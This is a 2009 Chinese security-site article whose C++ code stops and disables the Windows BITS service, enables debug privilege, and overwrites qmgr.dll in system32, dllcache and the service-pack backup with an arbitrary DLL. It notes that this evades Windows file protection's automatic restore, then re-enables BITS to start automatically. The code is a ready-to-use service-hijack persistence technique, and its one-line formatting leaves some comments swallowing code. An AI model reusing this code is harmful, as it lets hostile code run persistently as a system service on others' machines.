首页 网络安全 安全学院 查看内容

替换系统服务

2009-9-21 11:30 1007 0

摘要: 创建了一个类,提供三接口,一个用来启动服务,一个用来停止服务,一个用来调整启动方式滴 class CService {public:BOOL SetStartType(DWORD dwOp);voi...
关键词: nbsp CService SERVICE NULL stat return szSerName BOOL ser FALSE

创建了一个类,提供三接口,一个用来启动服务,一个用来停止服务,一个用来调整启动方式滴 class CService {public:BOOL SetStartType(DWORD dwOp);void StopService();void StartService();CService(char* szSerName);virtual ~CService(); private:BOOL CloseHandle();BOOL EnablePriv();BOOL OpenHandle();SC_HANDLE m_ser;SC_HANDLE m_scm;char m_szSerName[256];}; 实现部分的代码 CService::CService(char *szSerName){memset(m_szSerName,0,256);strcpy(m_szSerName,szSerName);} CService::~CService(){ } BOOL CService::OpenHandle(){BOOL stat=EnablePriv();if(!stat)   return FALSE;m_scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);if(m_scm==NULL){   return FALSE;}m_ser=OpenService(m_scm,m_szSerName,SERVICE_ALL_ACCESS);if(m_ser==NULL){   return FALSE;}else   return TRUE;} BOOL CService::EnablePriv(){HANDLE hToken;BOOL stat;stat=OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);if(stat==FALSE)   return FALSE;TOKEN_PRIVILEGES tkp;stat=LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );//修改进程权限if(stat==FALSE)   return FALSE;tkp.PrivilegeCount=1;tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;stat=AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );//通知系统修改进程权限return stat;  } BOOL CService::CloseHandle(){return (CloseServiceHandle(m_scm)&&CloseServiceHandle(m_ser));} void CService::StartService(){EnablePriv();OpenHandle();::StartService(m_ser,NULL,NULL);CloseHandle();} void CService::StopService(){EnablePriv();OpenHandle();SERVICE_STATUS stat;ControlService(m_ser,SERVICE_CONTROL_STOP,&stat);CloseHandle();} BOOL CService::SetStartType(DWORD dwOp)//SERVICE_AUTO_START SERVICE_BOOT_START SERVICE_DEMAND_START SERVICE_DISABLED SERVICE_SYSTEM_START{OpenHandle();    SC_LOCK sclLock=LockServiceDatabase(m_scm);BOOL stat=ChangeServiceConfig(   m_ser,   SERVICE_NO_CHANGE,   dwOp,   SERVICE_NO_CHANGE,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL);UnlockServiceDatabase(sclLock); CloseHandle();return stat;} 替换程序相关的代码 void ReplaceService(char *szFilePath)//szFilePath是我们自己的DLL文件的位置{char temp[256]={0};GetWindowsDirectory(temp,256);char szPackPath[256]={0};strcpy(szPackPath,temp);strcat(szPackPath,"\\ServicePackFiles\\i386\\qmgr.dll");//这个东东貌似是XP sp3下才存在,开始的时候没注意,一直没替换成功,系统自动还原了,瘦了一下,发现这个地方还有一备份文件。替换了就好了char szCachePath[256]={0};strcpy(szCachePath,temp);strcat(szCachePath,"\\system32\\dllcache\\qmgr.dll");char szSystemPath[256]={0};strcpy(szSystemPath,temp);strcat(szSystemPath,"\\system32\\qmgr.dll"); strcat(temp,"\\qmgr.cfei"); MoveFileEx(szCachePath,temp,MOVEFILE_REPLACE_EXISTING);MoveFileEx(szPackPath,temp,MOVEFILE_REPLACE_EXISTING);MoveFileEx(szSystemPath,temp,MOVEFILE_REPLACE_EXISTING);CopyFile(szFilePath,szCachePath,0);CopyFile(szFilePath,szPackPath,0);CopyFile(szFilePath,szSystemPath,0);} 调用部分的代码 CService ser("bits");ser.SetStartType(SERVICE_DISABLED);ser.StopService();   ReplaceService("c:\\ser.dll");//这里假设我们的文件释放的位置是c:\ser.dllser.SetStartType(SERVICE_AUTO_START);ser.StartService(); 当BITS才开始就是启动状态时,系统重新启动后才可以正常工作,如果BITS服务才开始就是停止或者禁用状态,则可以直接工作
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部